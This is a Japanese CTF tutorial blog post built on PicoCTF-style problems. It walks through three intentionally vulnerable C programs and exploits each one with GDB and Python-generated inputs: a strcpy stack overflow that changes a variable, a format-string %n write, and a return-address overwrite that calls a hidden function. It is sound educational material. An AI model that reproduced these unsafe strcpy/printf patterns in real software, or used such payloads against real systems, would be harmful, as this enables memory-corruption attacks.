IGGG Advent Calender 2015のために書いた記事です。
常設CTFで遊んでたらPwnable系の問題を解いてるうちにいろいろと勉強になったのでまとめます。
PwnableとはCTFのジャンルの1つで、プログラムの脆弱性をつき、本来アクセスできないメモリ領域にアクセスして操作し、フラグを取得する感じの問題です。
別名としてExploit
があります。
問題形式は脆弱性のあるプログラムのある、ないしは実行しているサーバーにssh
やnc
で接続し、クラックしていきます。
今回はクラック用のサーバーを用意することは出来ないので、クラックするプログラムのソースコードを示します。
手元でコンパイルしてやってみてください。
ちなみに、Pwnの問題は脆弱性のあるプログラムのソースコードが示されてることが多いです。
GDBとはデバッガーの1つで、恐らくいちばん有名なデバッガーだと思います。
GDBを利用すると、プログラムの大域領域にある値(グローバル変数や関数など)やそのアドレスを参照したり、セグフォやオーバーフローを起こしたときに普通に実行するより多くの情報を得ることが出来ます。
これらは、Pwnをやるうえで非常に有効なので、今回は問題を解く際に使っていきたいと思います。
今回はPicoCTFという常設CTFにあった問題を参考にしています。
PicoCTFはかなり初心者向けに作ってあるCTFで、CTFの勉強にはうってつけです。
CTFをやってみようかな、と言う人はぜひ利用してみてください。
(ただし、海外の常設CTFなので全て英語です。)
問題のソースコードはこんな感じ
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void vuln(char *input){
char buf[16];
int secret = 0;
strcpy(buf, input);
if (secret == 0xc0deface){
puts("flag is ...");
}
else{
printf("The secret is %x\n", secret);
}
}
int main(int argc, char **argv){
if (argc > 1)
vuln(argv[1]);
return 0;
}
11行目にFlagが直接書かれているので、わざわざクラックする必要ないのですが、本来ここは外部ファイルから取得して来たりする感じです。
本質的でないので省きました。
この問題はsecret
の値が0xc0deface
になれば良いのがわかります。
しかし、secret
の値は0
です。
その上、書き換えるコードは書いてありません。
どうやって書き換えるのでしょうか?
問題名の通りオーバーフローをさせます。
8行目でstrcpy
をしていますが、これはinput
のサイズがbuf
のサイズより大きいときbuf
の外も書き換えてしまいます。
実際に16バイト以上の値を与えてみましょう。
$ ./overflow1 `python -c "print('A'*16)"`
The secret is 0
$ ./overflow1 `python -c "print('A'*17)"`
The secret is 41
(コマンドライン引数をPythonなどのスクリプトで入れてあげると楽ですね)
1バイト余分にした場合、0から41に書き変わっています。
41は'A'のASCIIコードとしての値です。
つまり、buf
変数の後にsecret
変数4バイト分が続いていると推測できます。
(実際に局所変数は宣言した順にメモリのスタック領域へと詰まれるはずです)
なので、17バイト以降に任意の値を入力しましょう(エンディアンには気を付けて)
$ ./overflow1 `python -c "print('A'*16 + '\xce\xfa\xde\xc0')"`
flag is example1
見事Flagを得ることが出来ました。
問題のソースコードはこんな感じ
#include <stdio.h>
#include <stdlib.h>
int secret = 0;
int main(int argc, char **argv){
int *ptr = &secret;
printf(argv[1]);
if (secret == 1337){
puts("flag is ...");
}
else {
printf("secret is %x\n", secret);
}
return 0;
}
今回もsecret
の値を書き換えればよいのがわかります。
しかし、前回のようにオーバーフローを起こすような関数は見当たりません。
今回は(問題名の通り)フォーマットストリング攻撃と言うのを行います。
8行目でprintf(argv[1])
と直接printf
の引数に変数を渡しています。
実は、これは非常に危険です。
なぜなら、もしargv[1]
の中にフォーマット指定文字(%s
とか%d
とか)があった場合、スタック領域を勝手に参照して出力してしまうからです。
実際にフォーマット指定文字を渡してみましょう。
$ ./format `python -c "print('%p.'*3)"`
0xbfb210.0xffe6ae68.0x8048469.secret is 0
%p
はアドレスを返してくれます。
コレで何番目になんのメモリアドレスがあるかが探れます。
ではGDBを利用してsecret
のアドレスを取得してみましょう。
$ gdb -q format
(gdb) p &secret
$1 = (<data variable, no debug info> *) 0x80496ac
(gdb) q
p hoge
と入力すると変数(関数)hoge
の値を出力してくれます。
C言語と同じで変数名の前に&
をつければアドレスを返してくれます。
コレで、secret
のアドレスが0x80496ac
とわかりました。
フォーマットストリング攻撃でもっとスタックの中身を見てみましょう。
$ ./format `python -c "print('%p.'*10)"`
0xbfb210.0xffd41f58.0x8048469.0xad0c65.0xffd41ff0.0xffd41f58.0xbfcff4.0x80496ac.0xffd41f60.0xffd41fb8.secret is 0
これで8つ目にあることがわかりましたね。
で、ここからが本番です。
Cには恐ろしいフォーマット、%n
と言うのがあります。
%n
は、それ以前に出力したバイト数をその位置のメモリに書き込むフォーマットです。
試してみましょう。
$ ./format `python -c "print('%p.'*7 + '%n')"`
0xbfb210.0xff89ad08.0x8048469.0xad0c65.0xff89ada0.0xff89ad08.0xbfcff4.secret is 46
secret
の値が46に変わりました!
これはその前に0x46バイト分出力したからですね(0x46は70バイトで、ちょうど70文字出力してるはずです)。
secret
の値を1337
にする必要があるので以下のように入力します
$ ./format '%1337x%8$n'
%10x
は10桁にして出力してくれるので、これを利用すれば任意の数値に書き換えることが出来ます。
%8$n
は8番目の引数を利用するという意味です(もちろん%n
に限らず利用できますよ)。
これを実行すればFlagを得れるでしょう(1337バイトも出力するので割愛)。
問題のソースコードはこんな感じ
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void give_flag(){
puts("flag is ...");
}
void vuln(char *input){
char buf[16];
strcpy(buf, input);
}
int main(int argc, char **argv){
if (argc > 1)
vuln(argv[1]);
return 0;
}
名前の通りstrcpy
でオーバーフローを起こせばよいのですが、変数を書き換えるわけではありません。
give_flag
と言う関数を呼び出す必要があります。
しかし、どこからも参照されていません。
では、どうやって呼び出すのでしょうか。
関数呼び出しを行うと関数を呼んだ箇所にちゃんと戻れるようにと、スタック領域に戻り先のアドレスが格納されます。
つまり、オーバーフローさせてそこを書き換えれば、任意の関数を呼び出すことが可能なのです。
まずはどれだけ書き込めばいいかをGDBで探ります。
$ gdb -q overflow2
(gdb) set arg `python -c "print('A'*20)"`
(gdb) run
Starting program: overflow2 `python -c "print('A'*20)"`
Program received signal SIGSEGV, Segmentation fault.
0x08048400 in vuln ()
(gdb) set arg `python -c "print('A'*30)"`
(gdb) run
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: overflow2 `python -c "print('A'*30)"`
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
0x08048400 in vuln ()
より20ではまだ書き変わってないみたいですね。
0x41414141 in ?? ()
より(41はA
です)30では大きすぎるようです。
(gdb) set arg `python -c "print('A'*22)"`
(gdb) run
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: overflow2 `python -c "print('A'*22)"`
Program received signal SIGSEGV, Segmentation fault.
0x08004141 in ?? ()
半分変わっているので21-24バイトなのでしょう。
次に、give_flag
のアドレスを取得します。
(gdb) p &give_flag
$1 = (<text variable, no debug info> *) 0x80483d4 <give_flag>
0x80483d4
なようです。
あとは書き換えるだけ
(gdb) set arg `python -c "print('A'*20 + '\xd4\x83\x04\x08')"`
(gdb) run
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: overflow2 `python -c "print('A'*20 + '\xd4\x83\x04\x08')"`flag is example3
Program received signal SIGSEGV, Segmentation fault.
0xffffda00 in ?? ()
最終的にセグフォを起こしていますが、ちゃんとFlagが表示されてますね。
話は以上です。
CTFをやってる人ならどれも基本的な話題かもしれませんが、私はPwnは苦手だったので、これをやってとても勉強になりました。
皆さんもぜひやってみてください。
とても勉強になりました
%n
なんて知りませんでした